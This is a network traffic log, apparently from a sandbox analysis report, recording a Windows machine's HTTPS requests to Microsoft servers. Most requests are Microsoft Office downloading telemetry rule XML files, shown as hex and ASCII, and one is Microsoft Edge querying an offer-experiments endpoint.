2024-11-25 04:46:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bdb50d09-801e-0048-2c0e-3ef3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044638Z-178bfbc474b9fdhphC1NYCac0n00000006t000000000kx8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c24f93c3-601e-00ab-62a8-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044638Z-178bfbc474bfw4gbhC1NYCunf40000000730000000000a1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044640Z-178bfbc474bpscmfhC1NYCfc2c00000005eg00000000krzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9a08bc20-501e-00a0-39ae-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044640Z-178bfbc474bp8mkvhC1NYCzqnn00000006tg00000000a7da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:40 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a6b1c0e3-801e-002a-1ea2-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044640Z-178bfbc474bwh9gmhC1NYCy3rs000000071000000000af8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2822332a-801e-002a-6c23-3d31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044640Z-178bfbc474b7cbwqhC1NYC8z4n00000006x00000000071ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044640Z-174c587ffdfdwxdvhC1TEB1c4n00000005dg000000006375 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49820	94.245.104.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:41 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 04:46:41 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044643Z-15b8b599d88l2dpthC1TEBmzr000000005d000000000a86z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044643Z-178bfbc474b9fdhphC1NYCac0n00000006u000000000ga6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:43 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 732016c8-001e-000b-7fb8-3e15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044643Z-178bfbc474bp8mkvhC1NYCzqnn00000006w0000000003u2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:43 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044643Z-178bfbc474bp8mkvhC1NYCzqnn00000006qg00000000kwbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
